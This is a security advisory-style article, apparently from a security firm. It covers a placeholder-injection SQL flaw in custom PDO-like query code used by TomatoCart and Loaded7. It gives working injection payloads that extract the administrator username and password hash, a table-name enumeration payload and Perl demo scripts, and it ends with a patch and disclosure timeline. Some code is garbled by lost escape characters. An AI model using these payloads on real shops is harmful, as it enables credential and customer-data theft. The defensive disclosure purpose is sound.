Exploiting Systemic Query Vulnerabilities: Why You Should Not Attempt to Re-invent PDO
The particular exploits in this article take advantage of systemic query factory vulnerabilities, vulnerabilities which exist throughout an entire application's SQL generation code, found in a deprecated version of OSCommerce's development/unstable tree (specifically version 3.0.3 alpha) that were implemented by other developers into their own product's stable tree. While systemic query factory vulnerabilities are not limited to this particular library or software, it serves as the best and most recent reminder that these vulnerabilities exist. The vulnerability allows an attacker to essentially inject their own bind parameter and execute the query using direct injection without the need for injection related characters, such as the apostrophe (single quote). This article will walk the reader through the concept of such an attack and two existing exploits in third party applications (not OSCommerce).
Concept
This may affect multiple language implementations of query structures. The idea is pretty simple. Typically an application will use find and replace to insert
sanitized data into an SQL query by its type. Imagine the following scenario:
Learn Vulnerability Management
$params = array('email' => $_POST['email'], 'password'=>$_POST['password']);
Somewhere the values for :email and :password have to be translated to their proper values. If the database engine is not actual
PDO and simply PDO-like, we may have exploitable software on our hands. Suppose these values
- A quick perl script to illustrate:
my $email = @ARGV[0];
my $password = @ARGV[1];# Change this to whatever you want.
print "Email:tt$emailnPassword:t$passwordn";# Example Query:
my $query = "select * from users where email=:email and password=:password";
print "Query is:t$queryn";
$query = bindvar($query,'email',$email);
print "Query is:t$queryn";
$query = bindvar($query,'password',$password);
print "Query is:t$queryn";
sub bindvar {
my $query = shift;
my $var = shift;
my $value = shift;
$value =~ s/x27//g;
$query =~ s/[:]$var/x27$valuex27/g;
return($query);
- You can run this and see the queries it generates by typing something like:
perl query.pl [emailaddr] [password]
- Here is an example:
# perl query.pl test@test.net p4ssw0rdEmail: test@test.net
Password: p4ssw0rd
Query is: select * from users where email=:email and password=:password
Query is: select * from users where email='test@test.net' and password=:password
Query is: select * from users where email='test@test.net' and password='p4ssw0rd'
- But what happens if we supply a field name that is yet to be processed? Here we go:
# perl query.pl :password " or 1=1 limit 1#"Email: :password
Password: or 1=1 limit 1#
Query is: select * from users where email=:email and password=:password
Query is: select * from users where email=':password' and password=:password
Query is: select * from users where email='' or 1=1 limit 1#'' and password=' or 1=1 limit 1#'
Notice in the above that the quotes in the command line were just there to get the spaces, they didn't actually end up in the value of password. The quotes were
added automatically by the program! Let's look at a more practical or realistic example.
CVE-2014-3978: TomatoCart (Currently In the Wild)
Let's walk through the confirmation of the presence of the vulnerability and then the search for an implementation that we could easily use. First, download and
install tomatocart with its default settings and run:
[user@host tomcart]# find -name *.php -exec grep -Hn =s*[:][a-zA-Z] '{}' ;|less
- You should see a line immediately that looks like:
./redirect.php:29:$Qcheck = $osC_Database->query('select products_url
from :table_products_description
where products_url = :products_url limit 1');
In this case, we probably can't exploit it, because :table_products_description is probably bound first and also a static value. We'll need to confirm that the
query engine is vulnerable as well, so lets see how variables are bound. We go to the file we just saw:
where products_url = :products_url limit 1');
$Qcheck->bindTable(':table_products_description', TABLE_PRODUCTS_DESCRIPTION);
$Qcheck->bindValue(':products_url', $_GET['goto']);
We can determine that first it makes the query, then it uses bindTable() to bind something that has been define()'d. After this, it trusts
bindValue() to properly sanitize the $_GET variable. Additionally, there are no quotes wrapped around the :field in the database parameter,
- Let's check this out further. Lets go look up the "bindValue" function:
# find -name *.php -exec grep -Hn function bindValue '{}' ;./includes/classes/database.php:369: function bindValueMixed($place_holder, $value, $type = 'string', $log = true) {
./includes/classes/database.php:404: function bindValue($place_holder, $value) {
- So lets check out database.php line 404:
$this->bindValueMixed($place_holder, $value, 'string');
That's interesting. It just calls bindValueMixed() and says the variable is a string. Let's see what that function does. Our last grep just
told us we're looking for line 369 of the same file:
default:
$value = "'" . $this->db_class->parseString(trim($value)) . "'";
}
$this->bindReplace($place_holder, $value);
}
It uses some kind of parseString() to sanitize along with trim(), then it wraps the value in quotes and runs
bindReplace($place_holder,$value), kind of like our perl script. Let's see what bindReplace() does (if you're following along in the code,
$pos = strpos($this->sql_query, $place_holder);
if ($pos !== false) {
$length = strlen($place_holder);
$character_after_place_holder = substr($this->sql_query, $pos+$length, 1);
if (($character_after_place_holder === false)
|| ereg('[ ,)"]', $character_after_place_holder)) {
$this->sql_query = substr_replace($this->sql_query, $value, $pos, $length);
}
}
The first thing it does is grab the position of the placeholder in the string. Immediately after this, it checks to see what the character right after the
placeholder is. It wants it to be a comma, a space, or a close-parenthesis, or not exist at all. Well, that's no problem, because we'll be able to comment
To find an exploitable implementation of bindValue() I ran the following search. It'll bring a lot up, so be sure to use more or less
as appropriate:
# find -name *.php -exec grep -Hn bindValue '{}' ; |less
And lo and behold, there's one with bindValue() being called line after line sequentially; there are many, many more!
./includes/classes/address_book.php:91: $Qab->bindValue(':entry_firstname', $data['firstname']);./includes/classes/address_book.php:92: $Qab->bindValue(':entry_lastname', $data['lastname']);
Let's check this file out to make a quick PoC. Woah! Thats a huge insert query there in address_book.php! Lets throw it into our perl with some line breaks
for sanity!
my $lastname = @ARGV[1];
print "First name:$firstnamenLast name:$lastnamenn";
my $query = "select * from user where email=:email and password=:password";
$query = 'insert into :table_address_book
(customers_id, entry_gender, entry_company, entry_firstname, entry_lastname, entry_street_address, entry_suburb,
entry_postcode, entry_city, entry_state, entry_country_id, entry_zone_id, entry_telephone, entry_fax)
values
(:customers_id, :entry_gender, :entry_company, :entry_firstname, :entry_lastname, :entry_street_address,
:entry_suburb, :entry_postcode, :entry_city, :entry_state, :entry_country_id, :entry_zone_id,
:entry_telephone, :entry_fax)';
print "Generating query from : $querynnn";
$query = bindvar($query,'entry_firstname',$firstname);
$query = bindvar($query,'entry_lastname',$lastname);
print "Generated query: $queryn";
sub bindvar {
my $query = shift;
my $var = shift;
my $value = shift;
$query =~ s/[:]$var/x27$valuex27/g;
return($query);
First let's try a sleep query. This is just something to see if it works for sure or not.
# perl querytester.pl :entry_lastname, ',sleep(10),1,3,4,5,6,7,8,9,10)#'First name::entry_lastname,
Last name:,sleep(10),1,3,4,5,6,7,8,9,10)#
Generating query from : insert into :table_address_book
(customers_id, entry_gender, entry_company, entry_firstname, entry_lastname, entry_street_address, entry_suburb,
entry_postcode, entry_city, entry_state, entry_country_id, entry_zone_id, entry_telephone, entry_fax)
values
(:customers_id, :entry_gender, :entry_company, :entry_firstname, :entry_lastname, :entry_street_address,
:entry_suburb, :entry_postcode, :entry_city, :entry_state, :entry_country_id, :entry_zone_id,
:entry_telephone, :entry_fax)
Generated query: insert into :table_address_book
(customers_id, entry_gender, entry_company, entry_firstname, entry_lastname, entry_street_address, entry_suburb,
entry_postcode, entry_city, entry_state, entry_country_id, entry_zone_id, entry_telephone, entry_fax)
values
(:customers_id, :entry_gender, :entry_company, '',sleep(10),1,3,4,5,6,7,8,9,10)#',', ',sleep(10),1,3,4,5,6,7,8,9,10)#', :entry_street_address,
:entry_suburb, :entry_postcode, :entry_city, :entry_state, :entry_country_id, :entry_zone_id,
:entry_telephone, :entry_fax)
I tried putting :entry_lastname, into the first name on the address book, and then ,sleep(10),1,3,4,5,6,7,8,9,10)# into the last name field.
Notice in the above that this ends up commenting out the comma we put after :entry_lastname anyway, "''#',''". When I put this in, it actually made the page
sleep for ten seconds. So, after I was "done" testing to see if sleep worked, I jumped into the mysql shell to see how the db was organized. Sure enough,
mysql> desc toc_administrators;+---------------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------------+-------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| user_name | varchar(32) | YES | | NULL | |
| user_password | varchar(40) | NO | | NULL | |
| user_settings | text | YES | | NULL | |
| email_address | varchar(96) | NO | | NULL | |
+---------------+-------------+------+-----+---------+----------------+
I noticed some of the numbers from my first query ended up displaying in the address book, so this gave me the idea to use two fields. Due to the size limitation on
the last name field, I had to find another field to extract the password hash into. My final query in the last name field was:
,(select user_name from toc_administrators order by id asc limit 1),(select user_password from toc_administrators order by id asc limit 1),3,4,5,6,7,8,9,10)#
I left the first_name field as ":entry_lastname," -- leaving the comma to satisfy "bindReplace()". Sure enough, I had my local admin password hash from when I
installed the cart!
It is important to note that this vulnerability is systemic. That is to say, any query in the application that receives multiple string inputs is vulnerable to this type of
attack. It is not limited exclusively to the first and last name fields during contact creation; this was simply the easiest thing to PoC.
CVE-2014-5140: CRELoaded aka Loaded7
After investigating the code in Tomatocart, I was able to determine that the vulnerable database code in question (the bindReplace() function) actually came from an
unstable version of OSCommerce's dev tree. Using this information I was able to find that Loaded7 was
also forked from the same version of
OsCommerce. This development version of OSCommerce has been updated to use real PDO and thusly is not vulnerable to this attack. For some reason, the database
library itself was taken from a snapshot in Loaded and Tomatocart, but not brought in from a repository. The library does not automatically update when the OsCommerce
When we discovered that Loaded7 was in fact vulnerable to the same technique, we did a bit more digging. Sure enough, the same exploit works if you just change
the table prefix like so, as the query was basically the exact same:
,(select user_name from lc_administrators order by id asc limit 1),(select user_password from lc_administrators order by id asc limit 1),3,4,5,6,7,8,9,10)#
In this particular instance, your contacts/address book never appears until you go to a checkout screen. You do NOT have to add a payment type. When you get to
the checkout screen, the shipping address will contain your injection data.
The loaded7 developers were notified on July 29th. They confirmed exploitability. We sent them a direct link to the
patch for tomatocart on github, which both vendors as of the time of this writing appear to
Taking it further
Non-standard table prefixes
In this instance, you will notice that successful exploitation to get an administrative credential requires that the table-prefix is default. Suppose it isn't default, what do
we do then? The answer is simple: we do an injection into the last name field that grabs a table name.
,(select table_name from information_schema.tables where table_schema=database() limit 1),(select table_name from information_schema.tables where table_schema=database() limit 1),3,4,5,6,7,8,9,10)#
- Now that a table name is obtained, doctoring the exploit up isn't very difficult.
Weaponizing
Believe it or not, simply extracting an admin password hash isn't very weaponized. A more serious weapon would involve something that was capable of extracting an
administrative session ID or password reset token. Because we are a security company, we aren't going to release this type of exploit into the wild, but simply inform
Patching
Let's take another look at the bindreplace function:
$pos = strpos($this->sql_query, $place_holder);if ($pos !== false) {
$length = strlen($place_holder);
$character_after_place_holder = substr($this->sql_query, $pos+$length, 1);if (($character_after_place_holder === false)
|| ereg('[ ,)"]', $character_after_place_holder)) {
$this->sql_query = substr_replace($this->sql_query, $value, $pos, $length);
}
}
Looking carefully, this can be easily patched by html-encoding the colon character in the $value variable, like so:
$pos = strpos($this->sql_query, $place_holder);
$val = str_replace(':',':',$value);
if ($pos !== false) {
$length = strlen($place_holder);
$character_after_place_holder = substr($this->sql_query, $pos+$length, 1);
if (($character_after_place_holder === false)
|| ereg('[ ,)"]', $character_after_place_holder)) {
$this->sql_query = substr_replace($this->sql_query, $val, $pos, $length);
}
}
Conclusion
To recap, we have several points of failure in the developers' judgement when writing these applications. First, the failure in the OSCommerce development tree when
trying to basically rewrite PDO themselves.
All of this can be prevented by using the PDO libraries already written for PHP (or implementing our patchsets on github), which
will properly sanitize input and prevent the attacker from overwriting variables in the address book form. The OSC developers have re-implemented this using PDO and
still have not marked this tree as 'stable', so it's hard to blame much of this on them, all things considered. Unfortunately, the fact that the code was developed to begin
The second point of failure was in the decision made by the developers for both TomatoCart and LoadedCommerce to use another systems unstable code in their stable tree and discontinue the code's development.
The third point of failure is not using proper revision control. If the developers had simply implemented proper revision control, this vulnerability would have been
fixed in a much more timely manner without needing independent analysis-- as the OSCommerce code updates would have been implemented as soon as the
In e-commerce applications specifically, these are more critical issues, as they can put entire customer databases (with payment information in many cases) at risk.
When writing your own software, remember the lessons we learned from this experience:
- Don't try to reinvent the wheel if it is already round (PDO-- The wheel is round!)
- When borrowing unstable (development mode) code, it is probably a bad idea to place it into your stable tree and discontinue its development.
- When borrowing code, use proper revision control so that borrowed code will be updated as the original authors update it unless you actually intend to modify it as part of your project.
It is always a good idea (but also many times impractical) to inspect the internals of any third-party libraries you use before trusting their external APIs and
input handling. This applies any time you develop software using a library that you didn't write. Failure to do so leads to many vulnerabilities going undetected for a very
The mantra of “it's so popular a thousand eyes must have already looked at it†is exactly the reason no one has actually looked at many of the applications and libraries
that the general community believes to be secure. If it were not so, Heartbleed would have very likely been discovered much, much sooner.
And a final note- advisories inherently mandate being on time. Both vendors in this instance have had ample time to implement a
5 minute fix and have thus far not
done so. In e-commerce applications, this is nearly unbelievable. When responsible for consumer data, one would think that new feature additions should be halted
Learn Vulnerability Management
Please develop responsibly.